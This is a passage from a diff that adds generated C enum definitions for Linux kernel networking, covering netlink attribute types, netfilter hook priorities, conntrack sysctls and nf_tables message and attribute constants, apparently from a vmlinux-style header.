NETDEV_XSK_FLAGS_TX_CHECKSUM = 2, +}; + +enum netevent_notif_type { + NETEVENT_NEIGH_UPDATE = 1, + NETEVENT_REDIRECT = 2, + NETEVENT_DELAY_PROBE_TIME_UPDATE = 3, + NETEVENT_IPV4_MPATH_HASH_UPDATE = 4, + NETEVENT_IPV6_MPATH_HASH_UPDATE = 5, + NETEVENT_IPV4_FWD_UPDATE_PRIORITY_UPDATE = 6, +}; + +enum netlink_attribute_type { + NL_ATTR_TYPE_INVALID = 0, + NL_ATTR_TYPE_FLAG = 1, + NL_ATTR_TYPE_U8 = 2, + NL_ATTR_TYPE_U16 = 3, + NL_ATTR_TYPE_U32 = 4, + NL_ATTR_TYPE_U64 = 5, + NL_ATTR_TYPE_S8 = 6, + NL_ATTR_TYPE_S16 = 7, + NL_ATTR_TYPE_S32 = 8, + NL_ATTR_TYPE_S64 = 9, + NL_ATTR_TYPE_BINARY = 10, + NL_ATTR_TYPE_STRING = 11, + NL_ATTR_TYPE_NUL_STRING = 12, + NL_ATTR_TYPE_NESTED = 13, + NL_ATTR_TYPE_NESTED_ARRAY = 14, + NL_ATTR_TYPE_BITFIELD32 = 15, + NL_ATTR_TYPE_SINT = 16, + NL_ATTR_TYPE_UINT = 17, +}; + +enum netlink_policy_type_attr { + NL_POLICY_TYPE_ATTR_UNSPEC = 0, + NL_POLICY_TYPE_ATTR_TYPE = 1, + NL_POLICY_TYPE_ATTR_MIN_VALUE_S = 2, + NL_POLICY_TYPE_ATTR_MAX_VALUE_S = 3, + NL_POLICY_TYPE_ATTR_MIN_VALUE_U = 4, + NL_POLICY_TYPE_ATTR_MAX_VALUE_U = 5, + NL_POLICY_TYPE_ATTR_MIN_LENGTH = 6, + NL_POLICY_TYPE_ATTR_MAX_LENGTH = 7, + NL_POLICY_TYPE_ATTR_POLICY_IDX = 8, + NL_POLICY_TYPE_ATTR_POLICY_MAXTYPE = 9, + NL_POLICY_TYPE_ATTR_BITFIELD32_MASK = 10, + NL_POLICY_TYPE_ATTR_PAD = 11, + NL_POLICY_TYPE_ATTR_MASK = 12, + __NL_POLICY_TYPE_ATTR_MAX = 13, + NL_POLICY_TYPE_ATTR_MAX = 12, +}; + +enum netlink_skb_flags { + NETLINK_SKB_DST = 8, +}; + +enum netlink_validation { + NL_VALIDATE_LIBERAL = 0, + NL_VALIDATE_TRAILING = 1, + NL_VALIDATE_MAXTYPE = 2, + NL_VALIDATE_UNSPEC = 4, + NL_VALIDATE_STRICT_ATTRS = 8, + NL_VALIDATE_NESTED = 16, +}; + +enum netns_bpf_attach_type { + NETNS_BPF_INVALID = -1, + NETNS_BPF_FLOW_DISSECTOR = 0, + NETNS_BPF_SK_LOOKUP = 1, + MAX_NETNS_BPF_ATTACH_TYPE = 2, +}; + +enum nexthop_event_type { + NEXTHOP_EVENT_DEL = 0, + NEXTHOP_EVENT_REPLACE = 1, + NEXTHOP_EVENT_RES_TABLE_PRE_REPLACE = 2, + NEXTHOP_EVENT_BUCKET_REPLACE = 3, + NEXTHOP_EVENT_HW_STATS_REPORT_DELTA = 4, +}; + +enum nf_br_hook_priorities { + NF_BR_PRI_FIRST = -2147483648, + NF_BR_PRI_NAT_DST_BRIDGED = -300, + NF_BR_PRI_FILTER_BRIDGED = -200, + NF_BR_PRI_BRNF = 0, + NF_BR_PRI_NAT_DST_OTHER = 100, + NF_BR_PRI_FILTER_OTHER = 200, + NF_BR_PRI_NAT_SRC = 300, + NF_BR_PRI_LAST = 2147483647, +}; + +enum nf_ct_ecache_state { + NFCT_ECACHE_DESTROY_FAIL = 0, + NFCT_ECACHE_DESTROY_SENT = 1, +}; + +enum nf_ct_ext_id { + NF_CT_EXT_HELPER = 0, + NF_CT_EXT_NAT = 1, + NF_CT_EXT_SEQADJ = 2, + NF_CT_EXT_ACCT = 3, + NF_CT_EXT_NUM = 4, +}; + +enum nf_ct_helper_flags { + NF_CT_HELPER_F_USERSPACE = 1, + NF_CT_HELPER_F_CONFIGURED = 2, +}; + +enum nf_ct_sysctl_index { + NF_SYSCTL_CT_MAX = 0, + NF_SYSCTL_CT_COUNT = 1, + NF_SYSCTL_CT_BUCKETS = 2, + NF_SYSCTL_CT_CHECKSUM = 3, + NF_SYSCTL_CT_LOG_INVALID = 4, + NF_SYSCTL_CT_EXPECT_MAX = 5, + NF_SYSCTL_CT_ACCT = 6, + NF_SYSCTL_CT_PROTO_TIMEOUT_GENERIC = 7, + NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_SYN_SENT = 8, + NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_SYN_RECV = 9, + NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_ESTABLISHED = 10, + NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_FIN_WAIT = 11, + NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_CLOSE_WAIT = 12, + NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_LAST_ACK = 13, + NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_TIME_WAIT = 14, + NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_CLOSE = 15, + NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_RETRANS = 16, + NF_SYSCTL_CT_PROTO_TIMEOUT_TCP_UNACK = 17, + NF_SYSCTL_CT_PROTO_TCP_LOOSE = 18, + NF_SYSCTL_CT_PROTO_TCP_LIBERAL = 19, + NF_SYSCTL_CT_PROTO_TCP_IGNORE_INVALID_RST = 20, + NF_SYSCTL_CT_PROTO_TCP_MAX_RETRANS = 21, + NF_SYSCTL_CT_PROTO_TIMEOUT_UDP = 22, + NF_SYSCTL_CT_PROTO_TIMEOUT_UDP_STREAM = 23, + NF_SYSCTL_CT_PROTO_TIMEOUT_ICMP = 24, + NF_SYSCTL_CT_PROTO_TIMEOUT_ICMPV6 = 25, + NF_SYSCTL_CT_LAST_SYSCTL = 26, +}; + +enum nf_ct_tcp_action { + NFCT_TCP_IGNORE = 0, + NFCT_TCP_INVALID = 1, + NFCT_TCP_ACCEPT = 2, +}; + +enum nf_dev_hooks { + NF_NETDEV_INGRESS = 0, + NF_NETDEV_EGRESS = 1, + NF_NETDEV_NUMHOOKS = 2, +}; + +enum nf_hook_ops_type { + NF_HOOK_OP_UNDEFINED = 0, + NF_HOOK_OP_NF_TABLES = 1, + NF_HOOK_OP_BPF = 2, +}; + +enum nf_inet_hooks { + NF_INET_PRE_ROUTING = 0, + NF_INET_LOCAL_IN = 1, + NF_INET_FORWARD = 2, + NF_INET_LOCAL_OUT = 3, + NF_INET_POST_ROUTING = 4, + NF_INET_NUMHOOKS = 5, + NF_INET_INGRESS = 5, +}; + +enum nf_ip_hook_priorities { + NF_IP_PRI_FIRST = -2147483648, + NF_IP_PRI_RAW_BEFORE_DEFRAG = -450, + NF_IP_PRI_CONNTRACK_DEFRAG = -400, + NF_IP_PRI_RAW = -300, + NF_IP_PRI_SELINUX_FIRST = -225, + NF_IP_PRI_CONNTRACK = -200, + NF_IP_PRI_MANGLE = -150, + NF_IP_PRI_NAT_DST = -100, + NF_IP_PRI_FILTER = 0, + NF_IP_PRI_SECURITY = 50, + NF_IP_PRI_NAT_SRC = 100, + NF_IP_PRI_SELINUX_LAST = 225, + NF_IP_PRI_CONNTRACK_HELPER = 300, + NF_IP_PRI_CONNTRACK_CONFIRM = 2147483647, + NF_IP_PRI_LAST = 2147483647, +}; + +enum nf_log_type { + NF_LOG_TYPE_LOG = 0, + NF_LOG_TYPE_ULOG = 1, + NF_LOG_TYPE_MAX = 2, +}; + +enum nf_nat_manip_type { + NF_NAT_MANIP_SRC = 0, + NF_NAT_MANIP_DST = 1, +}; + +enum nf_tables_msg_types { + NFT_MSG_NEWTABLE = 0, + NFT_MSG_GETTABLE = 1, + NFT_MSG_DELTABLE = 2, + NFT_MSG_NEWCHAIN = 3, + NFT_MSG_GETCHAIN = 4, + NFT_MSG_DELCHAIN = 5, + NFT_MSG_NEWRULE = 6, + NFT_MSG_GETRULE = 7, + NFT_MSG_DELRULE = 8, + NFT_MSG_NEWSET = 9, + NFT_MSG_GETSET = 10, + NFT_MSG_DELSET = 11, + NFT_MSG_NEWSETELEM = 12, + NFT_MSG_GETSETELEM = 13, + NFT_MSG_DELSETELEM = 14, + NFT_MSG_NEWGEN = 15, + NFT_MSG_GETGEN = 16, + NFT_MSG_TRACE = 17, + NFT_MSG_NEWOBJ = 18, + NFT_MSG_GETOBJ = 19, + NFT_MSG_DELOBJ = 20, + NFT_MSG_GETOBJ_RESET = 21, + NFT_MSG_NEWFLOWTABLE = 22, + NFT_MSG_GETFLOWTABLE = 23, + NFT_MSG_DELFLOWTABLE = 24, + NFT_MSG_GETRULE_RESET = 25, + NFT_MSG_DESTROYTABLE = 26, + NFT_MSG_DESTROYCHAIN = 27, + NFT_MSG_DESTROYRULE = 28, + NFT_MSG_DESTROYSET = 29, + NFT_MSG_DESTROYSETELEM = 30, + NFT_MSG_DESTROYOBJ = 31, + NFT_MSG_DESTROYFLOWTABLE = 32, + NFT_MSG_GETSETELEM_RESET = 33, + NFT_MSG_MAX = 34, +}; + +enum nfnetlink_groups { + NFNLGRP_NONE = 0, + NFNLGRP_CONNTRACK_NEW = 1, + NFNLGRP_CONNTRACK_UPDATE = 2, + NFNLGRP_CONNTRACK_DESTROY = 3, + NFNLGRP_CONNTRACK_EXP_NEW = 4, + NFNLGRP_CONNTRACK_EXP_UPDATE = 5, + NFNLGRP_CONNTRACK_EXP_DESTROY = 6, + NFNLGRP_NFTABLES = 7, + NFNLGRP_ACCT_QUOTA = 8, + NFNLGRP_NFTRACE = 9, + __NFNLGRP_MAX = 10, +}; + +enum nfnl_abort_action { + NFNL_ABORT_NONE = 0, + NFNL_ABORT_AUTOLOAD = 1, + NFNL_ABORT_VALIDATE = 2, +}; + +enum nfnl_acct_flags { + NFACCT_F_QUOTA_PKTS = 1, + NFACCT_F_QUOTA_BYTES = 2, + NFACCT_F_OVERQUOTA = 4, +}; + +enum nfnl_acct_msg_types { + NFNL_MSG_ACCT_NEW = 0, + NFNL_MSG_ACCT_GET = 1, + NFNL_MSG_ACCT_GET_CTRZERO = 2, + NFNL_MSG_ACCT_DEL = 3, + NFNL_MSG_ACCT_OVERQUOTA = 4, + NFNL_MSG_ACCT_MAX = 5, +}; + +enum nfnl_acct_type { + NFACCT_UNSPEC = 0, + NFACCT_NAME = 1, + NFACCT_PKTS = 2, + NFACCT_BYTES = 3, + NFACCT_USE = 4, + NFACCT_FLAGS = 5, + NFACCT_QUOTA = 6, + NFACCT_FILTER = 7, + NFACCT_PAD = 8, + __NFACCT_MAX = 9, +}; + +enum nfnl_attr_filter_type { + NFACCT_FILTER_UNSPEC = 0, + NFACCT_FILTER_MASK = 1, + NFACCT_FILTER_VALUE = 2, + __NFACCT_FILTER_MAX = 3, +}; + +enum nfnl_batch_attributes { + NFNL_BATCH_UNSPEC = 0, + NFNL_BATCH_GENID = 1, + __NFNL_BATCH_MAX = 2, +}; + +enum nfnl_callback_type { + NFNL_CB_UNSPEC = 0, + NFNL_CB_MUTEX = 1, + NFNL_CB_RCU = 2, + NFNL_CB_BATCH = 3, +}; + +enum nfnl_cthelper_msg_types { + NFNL_MSG_CTHELPER_NEW = 0, + NFNL_MSG_CTHELPER_GET = 1, + NFNL_MSG_CTHELPER_DEL = 2, + NFNL_MSG_CTHELPER_MAX = 3, +}; + +enum nfnl_cthelper_pol_type { + NFCTH_POLICY_UNSPEC = 0, + NFCTH_POLICY_NAME = 1, + NFCTH_POLICY_EXPECT_MAX = 2, + NFCTH_POLICY_EXPECT_TIMEOUT = 3, + __NFCTH_POLICY_MAX = 4, +}; + +enum nfnl_cthelper_policy_type { + NFCTH_POLICY_SET_UNSPEC = 0, + NFCTH_POLICY_SET_NUM = 1, + NFCTH_POLICY_SET = 2, + NFCTH_POLICY_SET1 = 2, + NFCTH_POLICY_SET2 = 3, + NFCTH_POLICY_SET3 = 4, + NFCTH_POLICY_SET4 = 5, + __NFCTH_POLICY_SET_MAX = 6, +}; + +enum nfnl_cthelper_tuple_type { + NFCTH_TUPLE_UNSPEC = 0, + NFCTH_TUPLE_L3PROTONUM = 1, + NFCTH_TUPLE_L4PROTONUM = 2, + __NFCTH_TUPLE_MAX = 3, +}; + +enum nfnl_cthelper_type { + NFCTH_UNSPEC = 0, + NFCTH_NAME = 1, + NFCTH_TUPLE = 2, + NFCTH_QUEUE_NUM = 3, + NFCTH_POLICY = 4, + NFCTH_PRIV_DATA_LEN = 5, + NFCTH_STATUS = 6, + __NFCTH_MAX = 7, +}; + +enum nfqnl_attr_config { + NFQA_CFG_UNSPEC = 0, + NFQA_CFG_CMD = 1, + NFQA_CFG_PARAMS = 2, + NFQA_CFG_QUEUE_MAXLEN = 3, + NFQA_CFG_MASK = 4, + NFQA_CFG_FLAGS = 5, + __NFQA_CFG_MAX = 6, +}; + +enum nfqnl_attr_type { + NFQA_UNSPEC = 0, + NFQA_PACKET_HDR = 1, + NFQA_VERDICT_HDR = 2, + NFQA_MARK = 3, + NFQA_TIMESTAMP = 4, + NFQA_IFINDEX_INDEV = 5, + NFQA_IFINDEX_OUTDEV = 6, + NFQA_IFINDEX_PHYSINDEV = 7, + NFQA_IFINDEX_PHYSOUTDEV = 8, + NFQA_HWADDR = 9, + NFQA_PAYLOAD = 10, + NFQA_CT = 11, + NFQA_CT_INFO = 12, + NFQA_CAP_LEN = 13, + NFQA_SKB_INFO = 14, + NFQA_EXP = 15, + NFQA_UID = 16, + NFQA_GID = 17, + NFQA_SECCTX = 18, + NFQA_VLAN = 19, + NFQA_L2HDR = 20, + NFQA_PRIORITY = 21, + NFQA_CGROUP_CLASSID = 22, + __NFQA_MAX = 23, +}; + +enum nfqnl_config_mode { + NFQNL_COPY_NONE = 0, + NFQNL_COPY_META = 1, + NFQNL_COPY_PACKET = 2, +}; + +enum nfqnl_msg_config_cmds { + NFQNL_CFG_CMD_NONE = 0, + NFQNL_CFG_CMD_BIND = 1, + NFQNL_CFG_CMD_UNBIND = 2, + NFQNL_CFG_CMD_PF_BIND = 3, + NFQNL_CFG_CMD_PF_UNBIND = 4, +}; + +enum nfqnl_msg_types { + NFQNL_MSG_PACKET = 0, + NFQNL_MSG_VERDICT = 1, + NFQNL_MSG_CONFIG = 2, + NFQNL_MSG_VERDICT_BATCH = 3, + NFQNL_MSG_MAX = 4, +}; + +enum nfqnl_vlan_attr { + NFQA_VLAN_UNSPEC = 0, + NFQA_VLAN_PROTO = 1, + NFQA_VLAN_TCI = 2, + __NFQA_VLAN_MAX = 3, +}; + +enum nft_bitwise_attributes { + NFTA_BITWISE_UNSPEC = 0, + NFTA_BITWISE_SREG = 1, + NFTA_BITWISE_DREG = 2, + NFTA_BITWISE_LEN = 3, + NFTA_BITWISE_MASK = 4, + NFTA_BITWISE_XOR = 5, + NFTA_BITWISE_OP = 6, + NFTA_BITWISE_DATA = 7, + __NFTA_BITWISE_MAX = 8, +}; + +enum nft_bitwise_ops { + NFT_BITWISE_BOOL = 0, + NFT_BITWISE_LSHIFT = 1, + NFT_BITWISE_RSHIFT = 2, +}; + +enum nft_byteorder_attributes { + NFTA_BYTEORDER_UNSPEC = 0, + NFTA_BYTEORDER_SREG = 1, + NFTA_BYTEORDER_DREG = 2, + NFTA_BYTEORDER_OP = 3, + NFTA_BYTEORDER_LEN = 4, + NFTA_BYTEORDER_SIZE = 5, + __NFTA_BYTEORDER_MAX = 6, +}; + +enum nft_byteorder_ops { + NFT_BYTEORDER_NTOH = 0, + NFT_BYTEORDER_HTON = 1, +}; + +enum nft_chain_attributes { + NFTA_CHAIN_UNSPEC = 0, + NFTA_CHAIN_TABLE = 1, + NFTA_CHAIN_HANDLE = 2, + NFTA_CHAIN_NAME = 3, + NFTA_CHAIN_HOOK = 4, + NFTA_CHAIN_POLICY = 5, + NFTA_CHAIN_USE = 6, + NFTA_CHAIN_TYPE = 7, + NFTA_CHAIN_COUNTERS = 8, + NFTA_CHAIN_PAD = 9, + NFTA_CHAIN_FLAGS = 10, + NFTA_CHAIN_ID = 11, + NFTA_CHAIN_USERDATA = 12, + __NFTA_CHAIN_MAX = 13, +}; + +enum nft_chain_flags { + NFT_CHAIN_BASE = 1, + NFT_CHAIN_HW_OFFLOAD = 2, + NFT_CHAIN_BINDING = 4, +}; + +enum nft_chain_types { + NFT_CHAIN_T_DEFAULT = 0, + NFT_CHAIN_T_ROUTE = 1, + NFT_CHAIN_T_NAT = 2, + NFT_CHAIN_T_MAX = 3, +}; + +enum nft_cmp_attributes { + NFTA_CMP_UNSPEC = 0, + NFTA_CMP_SREG = 1, + NFTA_CMP_OP = 2, + NFTA_CMP_DATA = 3, + __NFTA_CMP_MAX = 4, +}; + +enum nft_cmp_ops { + NFT_CMP_EQ = 0, + NFT_CMP_NEQ = 1, + NFT_CMP_LT = 2, + NFT_CMP_LTE = 3, + NFT_CMP_GT = 4, + NFT_CMP_GTE = 5, +}; + +enum nft_counter_attributes { + NFTA_COUNTER_UNSPEC = 0, + NFTA_COUNTER_BYTES = 1, + NFTA_COUNTER_PACKETS = 2, + NFTA_COUNTER_PAD = 3, + __NFTA_COUNTER_MAX = 4, +}; + +enum nft_ct_attributes { + NFTA_CT_UNSPEC = 0, + NFTA_CT_DREG = 1, + NFTA_CT_KEY = 2, + NFTA_CT_DIRECTION = 3, + NFTA_CT_SREG = 4, + __NFTA_CT_MAX = 5, +}; + +enum nft_ct_expectation_attributes { + NFTA_CT_EXPECT_UNSPEC = 0, + NFTA_CT_EXPECT_L3PROTO = 1, + NFTA_CT_EXPECT_L4PROTO = 2, + NFTA_CT_EXPECT_DPORT = 3, + NFTA_CT_EXPECT_TIMEOUT = 4, + NFTA_CT_EXPECT_SIZE = 5, + __NFTA_CT_EXPECT_MAX = 6, +}; + +enum nft_ct_helper_attributes { + NFTA_CT_HELPER_UNSPEC = 0, + NFTA_CT_HELPER_NAME = 1, + NFTA_CT_HELPER_L3PROTO = 2, + NFTA_CT_HELPER_L4PROTO = 3, + __NFTA_CT_HELPER_MAX = 4, +}; + +enum nft_ct_keys { + NFT_CT_STATE = 0, + NFT_CT_DIRECTION = 1, + NFT_CT_STATUS = 2, + NFT_CT_MARK = 3, + NFT_CT_SECMARK = 4, + NFT_CT_EXPIRATION = 5, + NFT_CT_HELPER = 6, + NFT_CT_L3PROTOCOL = 7, + NFT_CT_SRC = 8, + NFT_CT_DST = 9, + NFT_CT_PROTOCOL = 10, + NFT_CT_PROTO_SRC = 11, + NFT_CT_PROTO_DST = 12, + NFT_CT_LABELS = 13, + NFT_CT_PKTS = 14, + NFT_CT_BYTES = 15, + NFT_CT_AVGPKT = 16, + NFT_CT_ZONE = 17, + NFT_CT_EVENTMASK = 18, + NFT_CT_SRC_IP = 19, + NFT_CT_DST_IP = 20, + NFT_CT_SRC_IP6 = 21, + NFT_CT_DST_IP6 = 22, + NFT_CT_ID = 23, + __NFT_CT_MAX = 24, +}; + +enum nft_data_attributes { + NFTA_DATA_UNSPEC = 0, + NFTA_DATA_VALUE = 1, + NFTA_DATA_VERDICT = 2, + __NFTA_DATA_MAX = 3, +}; + +enum nft_data_desc_flags { + NFT_DATA_DESC_SETELEM = 1, +}; + +enum nft_data_types { + NFT_DATA_VALUE = 0, + NFT_DATA_VERDICT = 4294967040, +}; + +enum nft_devices_attributes { + NFTA_DEVICE_UNSPEC = 0, + NFTA_DEVICE_NAME = 1, + __NFTA_DEVICE_MAX = 2, +}; + +enum nft_dynset_attributes { + NFTA_DYNSET_UNSPEC = 0, + NFTA_DYNSET_SET_NAME = 1, + NFTA_DYNSET_SET_ID = 2, + NFTA_DYNSET_OP = 3, + NFTA_DYNSET_SREG_KEY = 4, + NFTA_DYNSET_SREG_DATA = 5, + NFTA_DYNSET_TIMEOUT = 6, + NFTA_DYNSET_EXPR = 7, + NFTA_DYNSET_PAD = 8, + NFTA_DYNSET_FLAGS = 9, + NFTA_DYNSET_EXPRESSIONS = 10, + __NFTA_DYNSET_MAX = 11, +}; + +enum nft_dynset_flags { + NFT_DYNSET_F_INV = 1, + NFT_DYNSET_F_EXPR = 2, +}; + +enum nft_dynset_ops { + NFT_DYNSET_OP_ADD = 0, + NFT_DYNSET_OP_UPDATE = 1, + NFT_DYNSET_OP_DELETE = 2, +}; + +enum nft_expr_attributes { + NFTA_EXPR_UNSPEC = 0, + NFTA_EXPR_NAME = 1, + NFTA_EXPR_DATA = 2, + __NFTA_EXPR_MAX = 3, +}; + +enum nft_exthdr_attributes { + NFTA_EXTHDR_UNSPEC = 0, + NFTA_EXTHDR_DREG = 1, + NFTA_EXTHDR_TYPE = 2, + NFTA_EXTHDR_OFFSET = 3, + NFTA_EXTHDR_LEN = 4, + NFTA_EXTHDR_FLAGS = 5, + NFTA_EXTHDR_OP = 6, + NFTA_EXTHDR_SREG = 7, + __NFTA_EXTHDR_MAX = 8, +}; + +enum nft_exthdr_flags { + NFT_EXTHDR_F_PRESENT = 1, +}; + +enum nft_exthdr_op { + NFT_EXTHDR_OP_IPV6 = 0, + NFT_EXTHDR_OP_TCPOPT = 1, + NFT_EXTHDR_OP_IPV4 = 2, + NFT_EXTHDR_OP_SCTP = 3, + NFT_EXTHDR_OP_DCCP = 4, + __NFT_EXTHDR_OP_MAX = 5, +}; + +enum nft_flowtable_attributes { + NFTA_FLOWTABLE_UNSPEC = 0, + NFTA_FLOWTABLE_TABLE = 1, + NFTA_FLOWTABLE_NAME = 2, + NFTA_FLOWTABLE_HOOK = 3, + NFTA_FLOWTABLE_USE = 4, + NFTA_FLOWTABLE_HANDLE = 5, + NFTA_FLOWTABLE_PAD = 6, + NFTA_FLOWTABLE_FLAGS = 7, + __NFTA_FLOWTABLE_MAX = 8, +}; + +enum nft_flowtable_flags { + NFT_FLOWTABLE_HW_OFFLOAD = 1, + NFT_FLOWTABLE_COUNTER = 2, + NFT_FLOWTABLE_MASK = 3, +}; + +enum nft_flowtable_hook_attributes { + NFTA_FLOWTABLE_HOOK_UNSPEC = 0, + NFTA_FLOWTABLE_HOOK_NUM = 1, + NFTA_FLOWTABLE_HOOK_PRIORITY = 2, + NFTA_FLOWTABLE_HOOK_DEVS = 3, + __NFTA_FLOWTABLE_HOOK_MAX = 4, +}; + +enum nft_gen_attributes { + NFTA_GEN_UNSPEC = 0, + NFTA_GEN_ID = 1, + NFTA_GEN_PROC_PID = 2, + NFTA_GEN_PROC_NAME = 3, + __NFTA_GEN_MAX = 4, +}; + +enum nft_hook_attributes { + NFTA_HOOK_UNSPEC = 0, + NFTA_HOOK_HOOKNUM = 1, + NFTA_HOOK_PRIORITY = 2, + NFTA_HOOK_DEV = 3, + NFTA_HOOK_DEVS = 4, + __NFTA_HOOK_MAX = 5, +}; + +enum nft_immediate_attributes { + NFTA_IMMEDIATE_UNSPEC = 0, + NFTA_IMMEDIATE_DREG = 1, + NFTA_IMMEDIATE_DATA = 2, + __NFTA_IMMEDIATE_MAX = 3, +}; + +enum nft_inner_attributes { + NFTA_INNER_UNSPEC = 0, + NFTA_INNER_NUM = 1, + NFTA_INNER_TYPE = 2, + NFTA_INNER_FLAGS = 3, + NFTA_INNER_HDRSIZE = 4, + NFTA_INNER_EXPR = 5, + __NFTA_INNER_MAX = 6, +}; + +enum nft_inner_flags { + NFT_INNER_HDRSIZE = 1, + NFT_INNER_LL = 2, + NFT_INNER_NH = 4, + NFT_INNER_TH = 8, +}; + +enum nft_inner_type { + NFT_INNER_UNSPEC = 0, + NFT_INNER_VXLAN = 1, + NFT_INNER_GENEVE = 2, +}; + +enum nft_iter_type { + NFT_ITER_UNSPEC = 0, + NFT_ITER_READ = 1, + NFT_ITER_UPDATE = 2, +}; + +enum nft_last_attributes { + NFTA_LAST_UNSPEC = 0, + NFTA_LAST_SET = 1, + NFTA_LAST_MSECS = 2, + NFTA_LAST_PAD = 3, + __NFTA_LAST_MAX = 4, +}; + +enum nft_list_attributes { + NFTA_LIST_UNSPEC = 0, + NFTA_LIST_ELEM = 1, + __NFTA_LIST_MAX = 2, +}; + +enum nft_lookup_attributes { + NFTA_LOOKUP_UNSPEC = 0, + NFTA_LOOKUP_SET = 1, + NFTA_LOOKUP_SREG = 2, + NFTA_LOOKUP_DREG = 3, + NFTA_LOOKUP_SET_ID = 4, + NFTA_LOOKUP_FLAGS = 5, + __NFTA_LOOKUP_MAX = 6, +}; + +enum nft_lookup_flags { + NFT_LOOKUP_F_INV = 1, +}; + +enum nft_match_attributes { + NFTA_MATCH_UNSPEC = 0, + NFTA_MATCH_NAME = 1, + NFTA_MATCH_REV = 2, + NFTA_MATCH_INFO = 3, + __NFTA_MATCH_MAX = 4, +}; + +enum nft_meta_attributes { + NFTA_META_UNSPEC = 0, + NFTA_META_DREG = 1, + NFTA_META_KEY = 2, + NFTA_META_SREG = 3, + __NFTA_META_MAX = 4, +}; + +enum nft_meta_keys { + NFT_META_LEN = 0, + NFT_META_PROTOCOL = 1, + NFT_META_PRIORITY = 2, + NFT_META_MARK = 3, + NFT_META_IIF = 4, + NFT_META_OIF = 5, + NFT_META_IIFNAME = 6, + NFT_META_OIFNAME = 7, + NFT_META_IFTYPE = 8, + NFT_META_OIFTYPE = 9, + NFT_META_SKUID = 10, + NFT_META_SKGID = 11, + NFT_META_NFTRACE = 12, + NFT_META_RTCLASSID = 13, + NFT_META_SECMARK = 14, + NFT_META_NFPROTO = 15, + NFT_META_L4PROTO = 16, + NFT_META_BRI_IIFNAME = 17, + NFT_META_BRI_OIFNAME = 18, + NFT_META_PKTTYPE = 19, + NFT_META_CPU = 20, + NFT_META_IIFGROUP = 21, + NFT_META_OIFGROUP = 22, + NFT_META_CGROUP = 23, + NFT_META_PRANDOM = 24, + NFT_META_SECPATH = 25, + NFT_META_IIFKIND = 26, + NFT_META_OIFKIND = 27, + NFT_META_BRI_IIFPVID = 28, + NFT_META_BRI_IIFVPROTO = 29, + NFT_META_TIME_NS = 30, + NFT_META_TIME_DAY = 31, + NFT_META_TIME_HOUR = 32, + NFT_META_SDIF = 33, + NFT_META_SDIFNAME = 34, + NFT_META_BRI_BROUTE = 35, + __NFT_META_IIFTYPE = 36, +}; + +enum nft_nat_attributes { + NFTA_NAT_UNSPEC = 0, + NFTA_NAT_TYPE = 1, + NFTA_NAT_FAMILY = 2, + NFTA_NAT_REG_ADDR_MIN = 3, + NFTA_NAT_REG_ADDR_MAX = 4, + NFTA_NAT_REG_PROTO_MIN = 5, + NFTA_NAT_REG_PROTO_MAX = 6, + NFTA_NAT_FLAGS = 7, + __NFTA_NAT_MAX = 8, +}; + +enum nft_nat_types { + NFT_NAT_SNAT = 0, + NFT_NAT_DNAT = 1, +}; + +enum nft_object_attributes { + NFTA_OBJ_UNSPEC = 0, + NFTA_OBJ_TABLE = 1, + NFTA_OBJ_NAME = 2, + NFTA_OBJ_TYPE = 3, + NFTA_OBJ_DATA = 4, + NFTA_OBJ_USE = 5, + NFTA_OBJ_HANDLE = 6, + NFTA_OBJ_PAD = 7, + NFTA_OBJ_USERDATA = 8, + __NFTA_OBJ_MAX = 9, +}; + +enum nft_objref_attributes { + NFTA_OBJREF_UNSPEC = 0, + NFTA_OBJREF_IMM_TYPE = 1, + NFTA_OBJREF_IMM_NAME = 2, + NFTA_OBJREF_SET_SREG = 3, + NFTA_OBJREF_SET_NAME = 4, + NFTA_OBJREF_SET_ID = 5, + __NFTA_OBJREF_MAX = 6, +}; + +enum nft_offload_dep_type { + NFT_OFFLOAD_DEP_UNSPEC = 0, + NFT_OFFLOAD_DEP_NETWORK = 1, + NFT_OFFLOAD_DEP_TRANSPORT = 2, +}; + +enum nft_offload_reg_flags { + NFT_OFFLOAD_F_NETWORK2HOST = 1, +}; + +enum nft_payload_attributes { + NFTA_PAYLOAD_UNSPEC = 0, + NFTA_PAYLOAD_DREG = 1, + NFTA_PAYLOAD_BASE = 2, + NFTA_PAYLOAD_OFFSET = 3, + NFTA_PAYLOAD_LEN = 4, + NFTA_PAYLOAD_SREG = 5, + NFTA_PAYLOAD_CSUM_TYPE = 6, + NFTA_PAYLOAD_CSUM_OFFSET = 7, + NFTA_PAYLOAD_CSUM_FLAGS = 8, + __NFTA_PAYLOAD_MAX = 9, +}; + +enum nft_payload_bases { + NFT_PAYLOAD_LL_HEADER = 0, + NFT_PAYLOAD_NETWORK_HEADER = 1, + NFT_PAYLOAD_TRANSPORT_HEADER = 2, + NFT_PAYLOAD_INNER_HEADER = 3, + NFT_PAYLOAD_TUN_HEADER = 4, +}; + +enum nft_payload_csum_flags { + NFT_PAYLOAD_L4CSUM_PSEUDOHDR = 1, +}; + +enum nft_payload_csum_types { + NFT_PAYLOAD_CSUM_NONE = 0, + NFT_PAYLOAD_CSUM_INET = 1, + NFT_PAYLOAD_CSUM_SCTP = 2, +}; + +enum nft_range_attributes { + NFTA_RANGE_UNSPEC = 0, + NFTA_RANGE_SREG = 1, + NFTA_RANGE_OP = 2, + NFTA_RANGE_FROM_DATA = 3, + NFTA_RANGE_TO_DATA = 4, + __NFTA_RANGE_MAX = 5, +}; + +enum nft_range_ops { + NFT_RANGE_EQ = 0, + NFT_RANGE_NEQ = 1, +}; + +enum nft_registers { + NFT_REG_VERDICT = 0, + NFT_REG_1 = 1, + NFT_REG_2 = 2, + NFT_REG_3 = 3, + NFT_REG_4 = 4, + __NFT_REG_MAX = 5, + NFT_REG32_00 = 8, + NFT_REG32_01 = 9, + NFT_REG32_02 = 10, + NFT_REG32_03 = 11, + NFT_REG32_04 = 12, + NFT_REG32_05 = 13, + NFT_REG32_06 = 14, + NFT_REG32_07 = 15, + NFT_REG32_08 = 16, + NFT_REG32_09 = 17, + NFT_REG32_10 = 18, + NFT_REG32_11 = 19, + NFT_REG32_12 = 20, + NFT_REG32_13 = 21, + 